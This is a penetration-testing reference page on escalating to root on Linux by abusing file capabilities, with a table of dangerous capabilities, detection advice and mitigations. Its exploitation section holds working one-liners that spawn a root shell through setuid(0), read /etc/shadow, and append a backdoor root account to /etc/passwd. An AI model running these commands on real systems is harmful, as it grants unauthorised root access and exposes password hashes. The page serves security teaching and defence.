Linux Capabilities
Overview
Linux capabilities split the traditional root privilege into distinct units that can be assigned to binaries individually. Instead of granting full root access via SUID, a binary can receive only the specific capability it needs (e.g., cap_net_raw for raw sockets). However, certain capabilities are dangerous — they provide enough privilege to escalate to full root. When binaries have overly permissive capabilities, they become escalation vectors.
ATT&CK Mapping
- Tactic: TA0004 - Privilege Escalation
- Technique: T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid
Prerequisites
- Shell access on the target system
getcapavailable (part oflibcap2-bin, installed by default on most distributions)
Techniques
Discovery
# Find all binaries with capabilities
getcap -r / 2>/dev/null
# Check a specific binary
getcap /usr/bin/python3
Output format (libcap >= 2.43, current default on modern distros):
/usr/bin/python3 cap_setuid=ep
/usr/bin/ping cap_net_raw=ep
Capability flags:
- e (effective) — capability is active
- p (permitted) — capability can be used
- i (inheritable) — capability is passed to child processes
Dangerous Capabilities
| Capability | Risk | Escalation Path |
|---|---|---|
cap_setuid |
Set UID to 0 (root) | Direct root shell |
cap_setgid |
Set GID to 0 (root) | Access root group files |
cap_dac_override |
Bypass file read/write permissions | Read /etc/shadow, write /etc/passwd |
cap_dac_read_search |
Bypass file read permissions | Read any file on the system |
cap_sys_admin |
Broad administrative capability | Mount filesystems, load modules |
cap_sys_ptrace |
Trace and modify processes | Inject into root processes |
cap_fowner |
Bypass ownership checks | Modify any file |
cap_chown |
Change file ownership | Take ownership of sensitive files |
cap_net_raw |
Raw sockets | Network sniffing (not direct root) |
cap_sys_module |
Load kernel modules | Load malicious kernel modules |
cap_setuid Exploitation
The most direct escalation — the binary can change its UID to 0:
# Python with cap_setuid
# getcap output: /usr/bin/python3 cap_setuid=ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# gdb with cap_setuid
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
cap_dac_read_search Exploitation
Read any file regardless of permissions:
# tar with cap_dac_read_search — read /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow
cap_dac_override Exploitation
Read and write any file:
# Python with cap_dac_override — write to /etc/passwd
python3 -c '
import subprocess
password = subprocess.check_output(["openssl", "passwd", "-6", "-salt", "salt", "password123"]).decode().strip()
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
f.write(line)
'
su root2
# Password: password123
# vim with cap_dac_override — edit any file
vim /etc/shadow
cap_sys_admin Exploitation
cap_sys_admin is extremely broad and allows mounting filesystems:
# Mount the host filesystem (useful in container breakout)
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host files at /mnt/host/
cap_sys_ptrace Exploitation
Attach to and inject code into running processes:
# Python with cap_sys_ptrace — inject into a root process
# Find a root process
ps aux | grep '^root'
# Use ptrace to inject shellcode (requires custom exploit or tool)
cap_sys_module Exploitation
Load a kernel module that grants root:
// rootmod.c — kernel module that sets current process UID to 0
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
static int __init root_init(void) {
// This approach varies by kernel version
// Simplified example — real exploit requires matching kernel structures
return 0;
}
static void __exit root_exit(void) {}
module_init(root_init);
module_exit(root_exit);
Detection Methods
Network-Based Detection
- Not applicable — capabilities exploitation is local
Host-Based Detection
- Regular capability audits:
getcap -r / 2>/dev/nullcompared against baseline - Monitor for unexpected capability changes with auditd
- Alert on processes changing UID to 0 from non-login sources
Mitigation Strategies
- Minimize capabilities — only assign the specific capability each binary needs
- Avoid dangerous capabilities — never assign
cap_setuid,cap_dac_override,cap_sys_admin, orcap_sys_moduleunless absolutely required - Regular audits — periodically run
getcap -r /and compare against a known-good baseline - Use capabilities instead of SUID — capabilities are more granular than SUID, but still require careful assignment
- Do not grant inheritable flag — when assigning capabilities, use
+epnot+eip; thei(inheritable) flag allows child processes to inherit the capability acrossexecve